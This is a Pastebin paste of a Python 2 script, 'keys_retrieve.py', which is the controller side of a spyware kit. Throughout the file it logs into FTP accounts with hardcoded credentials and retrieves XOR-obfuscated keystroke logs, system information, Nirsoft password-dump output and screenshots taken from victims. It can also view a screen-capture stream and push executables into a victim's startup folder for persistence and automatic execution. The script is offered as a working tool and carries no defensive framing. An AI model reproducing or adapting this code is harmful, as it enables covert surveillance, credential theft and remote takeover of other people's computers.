Advertisement
michalmonday

keys_retrieve.py

Mar 13th, 2017
350
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 19.12 KB | None | 0 0
  1. import ftplib, datetime, time, io, os, re, threading, sys
  2. from Queue import Queue
  3. from PIL import ImageGrab, Image
  4. import StringIO
  5. import cv2
  6. import numpy as np
  7.  
  8. def XorText(text, xorMap):
  9.     xoredText = ""
  10.     for i, letter in enumerate(text):
  11.         xoredText +=  chr(ord(text[i]) ^ (xorMap[i%len(xorMap)] ^ (xorMap[(len(text)- 1)%len(xorMap)]))) #chr(ord(letter) ^ xorMap[i%len(xorMap)])
  12.     return xoredText
  13.  
  14. class FTP_Retriever:
  15.     def __init__(self, **kwargs):
  16.         self.debug = kwargs.get("debug", False)
  17.         self.xorMap = [235, 235, 126, 240, 203, 237, 81, 160, 9, 37, 204, 43, 190, 31, 76, 98, 53, 200, 222, 172, 184, 172, 157, 214, 128, 194, 175, 119, 254, 25, 25, 193, 109, 190, 240, 162, 184, 184, 114, 117, 57, 63, 167, 61, 104, 86, 146, 85, 114, 205, 0, 73, 162, 188, 129, 22, 67, 26, 80, 50, 190, 7, 91, 15, 56, 127, 226, 61, 172, 204, 76, 72, 40, 154, 65, 85, 8, 223, 211, 178, 149, 106, 57, 204, 236, 147, 54, 246, 59, 90, 43, 148, 9, 50, 253, 74, 143, 201, 48, 252, 236, 236, 139, 30, 124, 44, 21, 245, 179, 53, 85, 243, 230, 21, 49, 7, 239, 153, 46, 9, 1, 119, 105, 25, 71, 139, 75, 58, 43, 229, 88, 234, 226, 201, 1, 69, 16, 71, 97, 32, 195, 197, 215, 37, 219, 81, 243, 202, 181, 177, 193, 98, 179, 92, 180, 72, 219, 176, 115, 173, 16, 212, 118, 24, 204, 18, 123, 155, 197, 254, 226, 208, 80, 120, 46, 222, 152, 213, 68, 33, 153, 62, 192, 162, 16, 225, 110, 81, 65, 156, 212, 31, 26, 178, 195, 23, 141, 241, 48, 180]
  18.         self.ftp = 0
  19.         self.serverConfigSets = []
  20.         self.serverConfigNum = 0      
  21.         self.keepConnAliveT = threading.Thread(target = self.KeepConnAlive)
  22.         self.keepConnAliveT.daemon = True
  23.         self.keepConnAliveT.start()
  24.  
  25.         self.fileTypeConfigs = [
  26.             {"fileNames":[], "folder":"\\_\\", "heading":"Sysinfo"},
  27.             {"fileNames":[], "folder":"\\", "heading":"Keystroke"},
  28.             {"fileNames":[], "folder":"\\n\\", "heading":"Nirsoft"},
  29.             {"fileNames":[], "folder":"\\ii\\", "heading":"Screenshots"}
  30.             ]
  31.                    
  32.     def __del__(self):
  33.         self.Disconnect()
  34.  
  35.     def KeepConnAlive(self):
  36.         secTimer = time.clock()
  37.         while True:
  38.             time.sleep(3)
  39.             if (time.clock() - secTimer) > 60:
  40.                 try: self.ftp.voidcmd("NOOP")
  41.                 except: pass
  42.                 secTimer = time.clock()
  43.            
  44.     def PickFTPserverConfig(self, config_sets): #config_sets = list of lists [srv, usr, pswd]
  45.         self.serverConfigSets = config_sets
  46.         print "\nAvailable accounts:\n"
  47.         for i,c in enumerate(self.serverConfigSets):
  48.             print str(i)+". "+ " : ".join(val for val in c) #c = [server, name, password]
  49.         self.serverConfigNum = int(raw_input("\nWhich account to check:\n> "))
  50.    
  51.     def Connect(self):
  52.         self.ftp = ftplib.FTP(self.serverConfigSets[self.serverConfigNum][0],
  53.                               self.serverConfigSets[self.serverConfigNum][1],
  54.                               self.serverConfigSets[self.serverConfigNum][2])
  55.         #if self.debug: print ("Logged in ("+ server +", "+ name +", "+ password +")")
  56.         print "Logged in ("+ self.serverConfigSets[self.serverConfigNum][0] +", "+ self.serverConfigSets[self.serverConfigNum][1] +", "+ self.serverConfigSets[self.serverConfigNum][2] +")"
  57.  
  58.     def Disconnect(self):
  59.         if self.ftp:
  60.             try: self.ftp.quit()
  61.             except:
  62.                 try: self.ftp.exit()
  63.                 except: pass
  64.  
  65.     def DirectoriesAvailable(self):
  66.         self.directories = []
  67.         self.ftp.retrlines('LIST', self.directories.append)
  68.         self.directories = [re.findall(r'\d{2}:\d{2}\s(_.+)', d)[0] for d in self.directories if re.findall(r'\d{2}:\d{2}\s_', d)]
  69.         if self.directories: return True
  70.         #print 'No directories starting with "_" were found.'
  71.         return False
  72.  
  73.     def GetDirectories(self):
  74.         return self.directories
  75.         #print '\nDirectories:'
  76.         #for i, directory in enumerate(self.directories):
  77.             #print str(i) + ". " + directory
  78.                
  79.     def PickDirectory(self, dirNum):
  80.         self.dirNum = dirNum
  81.  
  82.     def FilesAvailable(self):
  83.         self.MakeSureSubDirsAreThere()
  84.         for d in self.fileTypeConfigs:
  85.             d["fileNames"] = self.ftp.nlst("\\"+ self.directories[self.dirNum] + d["folder"])
  86.         if any(d["fileNames"] for d in self.fileTypeConfigs):
  87.             return True      
  88.         return False
  89.    
  90.     def GetFileNames(self, **kwargs):
  91.         if kwargs.get("recheck", False) == True:
  92.             self.MakeSureSubDirsAreThere()
  93.             for d in self.fileTypeConfigs:
  94.                 d["fileNames"] = self.ftp.nlst("\\"+ self.directories[self.dirNum] + d["folder"])
  95.         fTypOut = []
  96.         for d in self.fileTypeConfigs:
  97.             fTypOut.append([d["heading"] + " files:"] + ["\n"+str(i) + ". "+ d["folder"] + "".join(n) for i,n in enumerate(d["fileNames"])] + ["\n\n"])      
  98.  
  99.         return ["".join(t) if len(t)>2 else "" for t in fTypOut]
  100.  
  101.     def MakeSureSubDirsAreThere(self):
  102.         directories = []
  103.         self.ftp.retrlines('LIST \\' + self.directories[self.dirNum], directories.append)
  104.         for d in self.fileTypeConfigs:
  105.             if not any(d["folder"].replace("\\","").replace("/","") in directory for directory in directories):
  106.                 self.ftp.mkd("\\"+self.directories[self.dirNum] + d["folder"])
  107.        
  108.         if not any("vv" in directory for directory in directories):
  109.             self.ftp.mkd("\\"+self.directories[self.dirNum]+"\\vv")
  110.  
  111.     def DownloadAllFiles(self):
  112.         print ""
  113.         if not os.path.exists("Saved output"):
  114.             os.makedirs("Saved output")
  115.         self.outputPath = "Saved output/" + self.directories[self.dirNum]
  116.         if not os.path.exists(self.outputPath):
  117.             os.makedirs(self.outputPath)
  118.  
  119.         for d in self.fileTypeConfigs:
  120.             self.DownloadSpecificFiles(d["fileNames"], d["folder"], d["heading"])
  121.  
  122.            
  123.        
  124.     def DownloadSpecificFiles(self, fileNames, folder, heading):
  125.         if not os.path.exists(self.outputPath + folder.replace("\\", "/")):
  126.             os.makedirs(self.outputPath + folder.replace("\\", "/"))
  127.  
  128.         data = ""
  129.         if fileNames:
  130.             if heading == "Screenshots":
  131.                 images = []
  132.                 for name in fileNames:
  133.                     fileData = []
  134.                     self.ftp.retrbinary('RETR ' + "\\"+ self.directories[self.dirNum] + folder + name, fileData.append)
  135.                     images.append(XorText("".join(fileData), self.xorMap))
  136.                 for i,img in enumerate(images):
  137.                     tempBuff = StringIO.StringIO()
  138.                     tempBuff.write(img)
  139.                     tempBuff.seek(0) #need to jump back to the beginning before handing it off to PIL          
  140.                     file_abs_name = self.outputPath + "/ii/" + fileNames[i].split(".")[0] + ".JPEG"
  141.                     Image.open(tempBuff).save(file_abs_name)
  142.                 if images: print "Images downloaded to: " + self.outputPath + folder.replace("\\","/")
  143.             else:
  144.                 for name in fileNames:
  145.                     fileData = []
  146.                     data += "\n\n\n>>>>>>>>>>>>>>>  "+ heading +": " + name +"  <<<<<<<<<<<<<<<<\n"
  147.                     self.ftp.retrbinary('RETR ' + "\\"+ self.directories[self.dirNum] + folder + name, fileData.append)
  148.                     data += XorText("".join(fileData), self.xorMap)
  149.                    
  150.                 packedFileName = (fileNames[0].split(".")[0] + " - " + fileNames[len(fileNames)-1].split(".")[0]) if len(fileNames) > 1 else fileNames[0].split(".")[0]
  151.                 file_abs_name = self.outputPath + folder.replace("\\", "/") + packedFileName + ".mm"
  152.                 with open(file_abs_name, "wb") as f:
  153.                     f.write(data)
  154.                     print heading + " downloaded to: " + file_abs_name
  155.  
  156.     def GetAllContent(self):
  157.         content = ""
  158.         for d in self.fileTypeConfigs:
  159.             content += self.GetSpecificFileTypeContent(d["fileNames"], d["folder"], d["heading"])
  160.         return content
  161.              
  162.     def GetSpecificFileTypeContent(self, fileNames, folder, heading):
  163.         text = ""
  164.         if heading == "Screenshots":
  165.             text += "\n\n"
  166.             for name in fileNames:
  167.                 text += ">>>>>>>>>>>>>>>  " + heading + ": "+ name +"  <<<<<<<<<<<<<<<<\n"
  168.         else:
  169.             for name in fileNames:
  170.                 fileData = []
  171.                 text += "\n\n\n>>>>>>>>>>>>>>>  " + heading + ": "+ name +"  <<<<<<<<<<<<<<<<\n"
  172.                 self.ftp.retrbinary('RETR ' + "\\"+ self.directories[self.dirNum] + folder + name, fileData.append)
  173.                 text += XorText("".join(fileData), self.xorMap)        
  174.         return text
  175.  
  176.    
  177.     def GetSingleFileContent(self, heading, fileNum):
  178.         fileData = []
  179.         for d in self.fileTypeConfigs:
  180.             if d["heading"] == heading:
  181.                 fileName = d["fileNames"][fileNum]
  182.                 folderName = d["folder"]
  183.         data = "\n\n\n>>>>>>>>>>>>>>>  "+ heading +": "+ fileName +"  <<<<<<<<<<<<<<<<\n"        
  184.         self.ftp.retrbinary('RETR ' + "\\"+ self.directories[self.dirNum] + folderName + fileName, fileData.append)
  185.         return data + XorText("".join(fileData), self.xorMap)
  186.  
  187.     def DeleteFTPfiles(self):
  188.         output = ""        
  189.         for d in self.fileTypeConfigs:
  190.             for name in d["fileNames"]:
  191.                 self.ftp.delete("\\"+ self.directories[self.dirNum] + d["folder"] + name)
  192.                 output += "deleted= " +  "\\"+ self.directories[self.dirNum] + d["folder"] + name + "\n"
  193.         return output
  194.  
  195.     def DeleteFTPdirectory(self):
  196.         self.ftp.rmd("\\"+ self.directories[self.dirNum])
  197.         print self.directories[self.dirNum] + " directory has been deleted."
  198.  
  199.     def ShowScreenShot(self, imgNum):
  200.         fileName = [d["fileNames"][imgNum] for d in self.fileTypeConfigs if d["heading"] == "Screenshots"][0]
  201.         folderName = [d["folder"] for d in self.fileTypeConfigs if d["heading"] == "Screenshots"][0]
  202.        
  203.         retrievedData = []
  204.         self.ftp.retrbinary('RETR ' + "\\"+ self.directories[self.dirNum] + folderName + fileName, retrievedData.append)
  205.         tempBuff = StringIO.StringIO()
  206.         tempBuff.write(XorText("".join(retrievedData),self.xorMap))
  207.         tempBuff.seek(0) #need to jump back to the beginning before handing it off to PIL
  208.         Image.open(tempBuff).show()
  209.  
  210.     def RequestScreenCaptureStream(self): #not developed it much, it requires more work to be done to be fully functional
  211.         if "s.mm" not in self.ftp.nlst("\\"+ self.directories[self.dirNum] +"\\vv"):
  212.             self.ftp.storbinary("STOR " + "\\"+ self.directories[self.dirNum] +"\\vv\\s.mm", io.BytesIO("-"))
  213.  
  214.     def AbandonScreenCaptureStream(self): #not developed it much, it requires more work to be done to be fully functional
  215.         if "s.mm" in self.ftp.nlst("\\"+ self.directories[self.dirNum] +"\\vv"):
  216.             self.ftp.delete("\\"+ self.directories[self.dirNum] +"\\vv\\s.mm")  
  217.  
  218.     def ViewScreenCaptureStream(self): #not developed it much, it requires more work to be done to be fully functional
  219.         frames = []
  220.         frameFileNames = [fN for fN in self.ftp.nlst("\\"+ self.directories[self.dirNum] +"\\vv") if fN != "s.mm"]
  221.         if frameFileNames:
  222.             for fileName in frameFileNames:
  223.                 retrievedData = []
  224.                 self.ftp.retrbinary('RETR ' + "\\"+ self.directories[self.dirNum] +"\\vv\\" + fileName, retrievedData.append)
  225.                 tempBuff = StringIO.StringIO()
  226.                 tempBuff.write(XorText("".join(retrievedData),self.xorMap))
  227.                 tempBuff.seek(0) #need to jump back to the beginning before handing it off to PIL
  228.                 printscreen_pil = Image.open(tempBuff)
  229.  
  230.                 printscreen_pil = printscreen_pil.resize((printscreen_pil.size[0],printscreen_pil.size[1]), Image.ANTIALIAS)
  231.                 frame = np.array(printscreen_pil.getdata(),dtype=np.uint8).reshape((printscreen_pil.size[1],printscreen_pil.size[0],3))
  232.                 #frames.append(frame)
  233.  
  234.                 cv2.namedWindow("window", cv2.WINDOW_NORMAL)
  235.                 cv2.imshow('window', frame)
  236.                 #cv2.resizeWindow('window', 200,200)
  237.                 if cv2.waitKey(0) & 0xFF == ord('q'):
  238.                     cv2.destroyAllWindows()
  239.                     break
  240.         else:
  241.             print "No frames available"
  242.             return
  243.         '''
  244.        for frame in frames:
  245.            cv2.namedWindow("window", cv2.WINDOW_NORMAL)
  246.            cv2.imshow('window', frame)
  247.            #cv2.resizeWindow('window', 200,200)
  248.            if cv2.waitKey(0) & 0xFF == ord('q'):
  249.                cv2.destroyAllWindows()
  250.                break
  251.        '''
  252.  
  253.     def UploadFile(self):
  254.         fileName = raw_input("The name of the file\n> ")
  255.         dName = raw_input("Destination file name\n> ")
  256.         fileInfo = "destinationFileName=" + dName + "\n"
  257.         d = raw_input("Destination path (input startup for persistence)\n> C:Users/%username%/")
  258.         fileInfo += "destinationPath=" + ("startup" if d.endswith("startup") else d) + "\n"
  259.         fileInfo += "execute=" + ("True" if raw_input("Execute it after download? (y/n)\n> ") == "y" else "False") + "\n"
  260.         isNir = raw_input("Is it nirsoft executable? (y/n)\n> ")
  261.         if isNir == "y":
  262.             fileInfo += "nirsoft=True\n"
  263.             p = "params=/scomma "+ dName.split(".")[0] + ".mm"
  264.         else:
  265.             fileInfo += "nirsoft=False\n"
  266.             p = "params=" + raw_input("Parameters to run (example: -F -w keys.py)\n> ")  
  267.         fileInfo += p if p else "none"
  268.         fileInfo += "###########################_____________________###############################"
  269.  
  270.         with open(fileName, "rb") as f:
  271.             fileData = f.read()
  272.  
  273.         if "f.mm" not in self.ftp.nlst("\\"+ self.directories[self.dirNum] +"\\f"):
  274.             self.ftp.storbinary("STOR " + "\\"+ self.directories[self.dirNum] +"\\f\\f.mm", io.BytesIO(XorText(fileInfo + fileData, self.xorMap)))
  275.         else:
  276.             self.ftp.delete("\\"+ self.directories[self.dirNum] +"\\f\\f.mm")
  277.             self.ftp.storbinary("STOR " + "\\"+ self.directories[self.dirNum] +"\\f\\f.mm", io.BytesIO(XorText(fileInfo + fileData, self.xorMap)))        
  278.  
  279.        
  280. def enum(*sequential, **named):
  281.     enums = dict(zip(sequential, range(len(sequential))), **named)
  282.     return type('Enum', (), enums)
  283.  
  284. workStages = enum("EXIT", "LOGIN", "DIRCHECK", "FILEMANIPULATION")
  285.  
  286. if __name__ == "__main__":  
  287.     action = ""
  288.     options = "\nOPTIONS\n\
  289. -Press enter to download the files\n\
  290. -Input p            to print the full files content\n\
  291. -Input im-imgNum    to view the specific screenshot\n\
  292. -Input ps-fileNum   to view the specific systeminfo file\n\
  293. -Input pk-fileNum   to view the specific keystrokes file\n\
  294. -Input ni-fileNum   to view the specific nirsoft file\n\
  295. -Input d            to pick another directory\n\
  296. -Input sf           to see the filenames again\n\
  297. -Input sfr          to see the filenames again (recheck FTP server)\n\
  298. -Input scsr         to request screen capture stream\n\
  299. -Input scsa         to abandon screen capture stream\n\
  300. -Input scs          to view screen capture stream\n\
  301. -Input u            to upload file to the target startup\n\
  302. -Input df           to delete the server files\n\
  303. -Input du           to delete whole user directory from the server\n\
  304. -Input a            to check another ftp account\n\
  305. -Input e            to exit\n> "
  306.    
  307.     workStage = workStages.LOGIN
  308.     ftpR = FTP_Retriever(debug = "true")
  309.     while workStage:  
  310.         ftpR.PickFTPserverConfig([
  311.             ["ftp.drivehq.com","michal","qwerty"],
  312.             ["ftp.drivehq.com","monday","password2"],
  313.             ["ftp.drivehq.com","thirdAccountUsername","thirdAccountPssword"]
  314.             ])
  315.  
  316.  
  317.         try: ftpR.Connect()
  318.         except Exception as e:
  319.             if "free service users can logon 100 times, plus 25 times/day" in str(e):
  320.                 print "\n100 overall or 25 logins per day reached..."
  321.                 continue
  322.             else:
  323.                 print e
  324.                 raise SystemExit
  325.            
  326.         workStage = workStages.DIRCHECK
  327.         while workStage == workStages.DIRCHECK:
  328.             if ftpR.DirectoriesAvailable():
  329.                 print "\n" + "\n".join(str(i)+". " + d for i,d in enumerate(ftpR.GetDirectories()))
  330.                 ftpR.PickDirectory(int(raw_input("\nSelect directory\n> ")))
  331.                 if not ftpR.FilesAvailable():
  332.                     #print "No files found.\n" + "".join(str(i)+". " + d + "\n" for i,d in enumerate(ftpR.GetDirectories()))
  333.                     print "No files found."
  334.                     workStage = workStages.FILEMANIPULATION
  335.                     #ftpR.PickDirectory(int(raw_input("\nSelect directory\n> ")))
  336.                 print "\n" + "".join(ftpR.GetFileNames())
  337.                 workStage = workStages.FILEMANIPULATION
  338.             else:
  339.                 print "\nNo directories found..."
  340.                 workStage = workStages.LOGIN
  341.                 ftpR.Disconnect()
  342.                
  343.             while workStage == workStages.FILEMANIPULATION:
  344.                 action = raw_input(options)
  345.                 if action == "p":
  346.                     print ftpR.GetAllContent()
  347.                 elif action == "d":
  348.                      workStage = workStages.DIRCHECK
  349.                 elif action == "df":
  350.                     print ftpR.DeleteFTPfiles()                    
  351.                     workStage = workStages.DIRCHECK
  352.                 elif action == "du":
  353.                     ftpR.DeleteFTPdirectory()
  354.                     workStage = workStages.DIRCHECK
  355.                 elif action == "e":
  356.                     workStage = workStages.EXIT
  357.                 elif action == "a":
  358.                     workStage = workStages.LOGIN
  359.                 elif action.startswith("im-"):
  360.                     ftpR.ShowScreenShot(int(action.split("-")[1]))
  361.                 elif action.startswith("ps-"):
  362.                     print ftpR.GetSingleFileContent("Sysinfo", int(action.split("-")[1])) #GetSingleFileContent
  363.                 elif action.startswith("pk-"):
  364.                     print ftpR.GetSingleFileContent("Keystroke", int(action.split("-")[1]))
  365.                 elif action.startswith("ni-"):
  366.                     print ftpR.GetSingleFileContent("Nirsoft", int(action.split("-")[1]))
  367.                 elif action == "sf":
  368.                     print "\n" + "".join(ftpR.GetFileNames(recheck=False))
  369.                 elif action == "sfr":
  370.                     print "\n" + "".join(ftpR.GetFileNames(recheck=True))
  371.                 elif action == "scsr":
  372.                     ftpR.RequestScreenCaptureStream()
  373.                 elif action == "scsa":
  374.                     ftpR.AbandonScreenCaptureStream()
  375.                 elif action == "scs":
  376.                     ftpR.ViewScreenCaptureStream()
  377.                 elif action == "u":
  378.                     ftpR.UploadFile()
  379.                 elif not action:
  380.                     ftpR.DownloadAllFiles()
  381.                     workStage == workStages.FILEMANIPULATION
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement